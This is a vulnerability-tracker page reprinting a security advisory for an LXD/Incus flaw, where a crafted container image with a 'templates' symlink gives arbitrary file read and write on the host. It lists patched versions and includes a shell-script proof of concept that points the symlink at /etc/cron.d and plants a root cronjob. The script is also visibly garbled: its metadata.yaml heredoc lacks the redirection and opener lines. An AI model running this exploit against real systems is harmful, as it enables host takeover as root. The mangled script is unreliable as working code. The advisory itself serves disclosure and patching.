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Response snapshot Nov 7, 2026, 20:21 UTC

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VulnerabilityGHSA-jpf8-86f3-wp38

LXD has arbitrary file read+write on host via templates/ symlink in malicious image

Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479 A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. For container images, internal/server/storage/utils.go calls archive.

At a glance

Exploited
Not known
Severity
Not scored yet
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: github.com/canonical/lxd: 0.0.0-20260203144152-d1c8ba15d160. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-jpf8-86f3-wp38 (opens a new tab)

What happened

Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479

Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

Continue reading

For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.

In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.

PoC

Below, we map the templates directory to /etc/cron.d on the host, but it can be mapped anywhere. We then create a cronjob to run id as root.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
 rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat "${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
 description: PoC templates symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink

incus config template ls afrw-image-templates-symlink

# read
#incus config template show afrw-image-templates-symlink $FILENAME

# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Affected package ranges reported by GitHub: github.com/canonical/lxd: < 0.0.0-20260203144152-d1c8ba15d160

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-jpf8-86f3-wp38 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-jpf8-86f3-wp38, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 6). LXD has arbitrary file read+write on host via templates/ symlink in malicious image. https://kevwire.com/record/GHSA-jpf8-86f3-wp38

MLA

"LXD has arbitrary file read+write on host via templates/ symlink in malicious image." KEVWire, 6 Nov. 2026, kevwire.com/record/GHSA-jpf8-86f3-wp38.

Chicago

KEVWire. "LXD has arbitrary file read+write on host via templates/ symlink in malicious image." Last modified November 6, 2026. https://kevwire.com/record/GHSA-jpf8-86f3-wp38.

Evidence summary (plain text)

LXD has arbitrary file read+write on host via templates/ symlink in malicious image (Nov 6, 2026).
Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479

A specially crafted image can be used to read or create/write arbitrary
files on the host; possibly leading to arbitrary command execution.

For container images, internal/server/storage/utils.go calls
archive.Unpack(imageFile, destPath, ...). The tar extraction path in
shared/archive/archive.go excludes device nodes, but it does not
reject a top-level templates symlink.

In practice, this allows a malicious actor to access an arbitrary
directory and edit arbitrary files in it.
Sources:
GitHub-reviewed advisory GHSA-jpf8-86f3-wp38: https://github.com/advisories/GHSA-jpf8-86f3-wp38
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: GHSA-jpf8-86f3-wp38.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 7, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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Record details

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